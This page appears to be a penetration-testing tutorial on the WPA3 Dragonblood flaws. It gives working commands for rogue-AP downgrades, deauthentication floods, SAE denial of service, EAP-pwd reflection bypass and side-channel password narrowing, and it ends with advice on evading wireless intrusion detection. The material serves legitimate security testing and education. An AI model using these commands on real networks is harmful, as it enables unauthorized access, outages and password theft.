Skip to content
HackIndex.io

WPA3 SAE Dragonblood Vulnerabilities

8 min read Created Sep 11, 2026 Last updated Sep 11, 2026

WPA3 replaced the WPA2-PSK 4-way handshake with SAE (Simultaneous Authentication of Equals), a password-authenticated key exchange based on the Dragonfly protocol. Instead of exchanging a pre-shared key derivation that can be captured and cracked offline, SAE performs a zero-knowledge proof where neither side transmits material that reveals the password. Even if an attacker captures the full SAE exchange, there is nothing to feed into hashcat.

That is the theory. In practice, the Dragonblood research by Mathy Vanhoef and Eyal Ronen found multiple implementation flaws in SAE that leak password-dependent timing and cache access patterns. Combined with the widespread use of SAE transition mode for backward compatibility, WPA3 networks are often weaker than they appear.

WPA3 Dragonblood: SAE Weakness Classes

The Dragonblood vulnerabilities fall into two categories: downgrade attacks against transition mode, and side-channel leaks in the SAE handshake itself.

Relevant CVEs:

  • CVE-2019-9494: cache-based side-channel attack against SAE. The password-to-element mapping in SAE uses a hunt-and-peck algorithm whose execution time depends on the password. An attacker on the same machine or co-located VM can observe L1/L2 cache access patterns to recover password candidates.
  • CVE-2019-9495: cache-based side-channel in EAP-pwd. Same class of leak but in the EAP-pwd implementation used in enterprise WPA3, allowing password recovery from cache timing.
  • CVE-2019-9496: missing validation of SAE confirm message. A malformed SAE confirm frame can crash or cause unexpected behavior in vulnerable access points, enabling a denial-of-service condition.
  • CVE-2019-9497: EAP-pwd reflection attack. An attacker can reflect the server's EAP-pwd commit message back at it, completing authentication without knowing the password against vulnerable implementations.

Detecting WPA3 Networks

WPA3 networks advertise SAE in the RSN Information Element of their beacons. Put the interface into monitor mode and scan:

┌──(kali㉿kali)-[~]
└─$ airmon-ng start wlan0
┌──(kali㉿kali)-[~]
└─$ airodump-ng wlan0mon 
 BSSID              PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID

 AA:BB:CC:DD:EE:FF  -42  312      45     6   WPA3  CCMP    SAE   CorpWPA3
 11:22:33:44:55:66  -58  187      22     11  WPA2  CCMP    PSK   LegacyNet
 77:88:99:AA:BB:CC  -51  241      38     1   WPA3  CCMP    SAE   MixedMode

The AUTH column shows SAE for WPA3 networks. This confirms the AP advertises SAE in its RSN IE. However, airodump-ng alone does not tell you whether the AP also accepts PSK (transition mode). For that you need to inspect the raw RSN IE.

RSN IE Inspection with iw

Use iw to see the full RSN capabilities including AKM suites:

┌──(kali㉿kali)-[~]
└─$ iw dev wlan0 scan | grep -A 30 "AA:BB:CC:DD:EE:FF" | grep -E "SSID|RSN|Authentication|Capabilities|MFP" 
SSID: CorpWPA3
RSN:	 * Version: 1
	 * Authentication suites: SAE
	 * Capabilities: MFP-required
	 * Group CCMP

A pure WPA3 network shows only SAE in the authentication suites and MFP-required. If you see both PSK and SAE in the authentication suites, the AP runs in transition mode.

SAE Transition Mode: The Primary Attack Surface

Most real-world WPA3 deployments run in SAE transition mode. The AP accepts both WPA2-PSK and WPA3-SAE clients on the same SSID. This exists because older devices (printers, IoT, legacy laptops) cannot speak SAE, so administrators enable backward compatibility to avoid breaking connectivity.

The problem: a WPA3-capable client that would normally use SAE can be forced to downgrade to WPA2-PSK. The attacker sets up a rogue AP with the same SSID that only advertises WPA2-PSK. The client, seeing a familiar network name with a supported auth method, connects using WPA2-PSK. The resulting 4-way handshake is captured and crackable offline, exactly like any WPA2 attack.

Detect transition mode by looking for both PSK and SAE in the RSN IE:

┌──(kali㉿kali)-[~]
└─$ iw dev wlan0 scan | grep -A 30 "77:88:99:AA:BB:CC" | grep -E "SSID|RSN|Authentication|Capabilities|MFP" 
SSID: MixedMode
RSN:	 * Version: 1
	 * Authentication suites: PSK SAE
	 * Capabilities: MFP-capable
	 * Group CCMP

PSK SAE in the authentication suites and MFP-capable (not required) confirms transition mode. This network is vulnerable to downgrade attacks. A pure WPA3 AP with SAE only and MFP-required is not vulnerable to this downgrade.

Testing Transition Mode Downgrade

To confirm the downgrade works, use hostapd-mana or a similar rogue AP tool to create a WPA2-only clone of the target SSID. The rogue AP must broadcast the same SSID with only WPA2-PSK authentication.

Create a minimal hostapd config:

interface=wlan1
ssid=MixedMode
channel=1
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=DummyPassphrase123

The passphrase does not need to match the real network. The goal is to capture the client's handshake attempt, not to complete authentication. Run the rogue AP on a second wireless interface:

┌──(kali㉿kali)-[~]
└─$ hostapd rogue-wpa2.conf 
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED

While the rogue AP runs, send deauthentication frames against clients connected to the real AP to force them to reassociate. Clients in transition mode may reconnect to the rogue AP using WPA2-PSK instead of SAE:

┌──(kali㉿kali)-[~]
└─$ aireplay-ng --deauth 5 -a 77:88:99:AA:BB:CC wlan0mon
Explain command
--deauth 5 Send 5 deauthentication frames to force client disconnection.
-a 77:88:99:AA:BB:CC Target BSSID of the legitimate access point.

If a WPA3-capable client falls back to WPA2-PSK and attempts a 4-way handshake with the rogue AP, transition mode downgrade is confirmed. The captured handshake material is crackable offline. This proves the vulnerability exists without proceeding to actual password recovery.

Notice

This technique requires two wireless interfaces: one in monitor mode for deauthentication and packet capture, one in managed mode running the rogue AP. Requires root.

Testing for SAE DoS with dragondrain

CVE-2019-9496 allows denial of service against SAE implementations that do not properly validate confirm messages. The dragondrain tool sends a large volume of SAE commit frames to the target AP, which forces it to perform expensive elliptic curve operations for each one. A vulnerable AP becomes unresponsive to legitimate clients.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/vanhoefm/dragonblood.git
┌──(kali㉿kali)-[~]
└─$ cd dragonblood
┌──(kali㉿kali)-[~]
└─$ python3 dragondrain.py -i wlan0mon -b AA:BB:CC:DD:EE:FF -s CorpWPA3
Explain command
-i wlan0mon Monitor mode interface to use for sending SAE frames.
-b AA:BB:CC:DD:EE:FF BSSID of the target WPA3 access point.
-s CorpWPA3 SSID of the target network.

Monitor AP responsiveness during the test. If legitimate clients start experiencing authentication timeouts or the AP stops responding to probe requests, the AP is vulnerable to SAE resource exhaustion. Stop the tool once the behavior is confirmed.

EAP-pwd Testing with dragonslayer

WPA3-Enterprise networks using EAP-pwd are affected by CVE-2019-9495 (cache side-channel) and CVE-2019-9497 (reflection attack). The dragonslayer tool tests RADIUS servers and supplicants for these weaknesses.

To test a RADIUS server for the EAP-pwd reflection vulnerability:

┌──(kali㉿kali)-[~]
└─$ python3 dragonslayer.py -i wlan0mon -b AA:BB:CC:DD:EE:FF -s CorpEnterprise -a reflect
Explain command
-a reflect Test for the EAP-pwd reflection attack (CVE-2019-9497).

If the server accepts its own reflected commit message and completes the handshake, the implementation is vulnerable to authentication bypass. This is a critical finding as it allows access without knowing any credentials.

Side-Channel Recovery with dragonforce

After confirming a cache-based side-channel leak exists (CVE-2019-9494 or CVE-2019-9495), dragonforce performs the offline dictionary phase. It takes timing or cache measurements collected during SAE handshakes and uses them to partition the password space, dramatically reducing the number of candidates that need testing.

┌──(kali㉿kali)-[~]
└─$ python3 dragonforce.py -d wordlist.txt -m measurements.csv
Explain command
-d wordlist.txt Dictionary file with password candidates.
-m measurements.csv Timing or cache measurements collected from SAE handshakes.

The measurements file is produced by separate timing collection during monitored SAE exchanges. Each measurement narrows the candidate set further. With enough samples (typically a few hundred handshake observations), the password space shrinks enough that dictionary attacks become feasible even against SAE. The output confirms whether any dictionary entry matches the leaked pattern.

This step only validates the side-channel, it does not require completing a full authentication. Proving the leak exists and showing dictionary reduction is sufficient for a vulnerability discovery report.

OPSEC Considerations

All Dragonblood tools generate non-standard SAE frames that stand out in packet captures. Wireless intrusion detection systems (WIDS) like Cisco Adaptive wIPS and Aruba RFProtect flag unusual SAE commit/confirm volumes and malformed frames.

Specific detection risks:

  • dragondrain produces a flood of SAE commit frames from a single MAC. This is trivially detectable by any WIDS monitoring frame rates per station.
  • dragonslayer sends EAP-pwd messages with reflected values that will not match any legitimate supplicant behavior.
  • Rogue AP creation for downgrade testing triggers rogue AP detection alerts, which most enterprise WIDS deployments have enabled by default.
  • Deauthentication floods are one of the most commonly monitored wireless attack patterns.

In monitored environments, coordinate timing with the engagement team. Consider testing during maintenance windows or in isolated RF environments where WIDS coverage is reduced.

References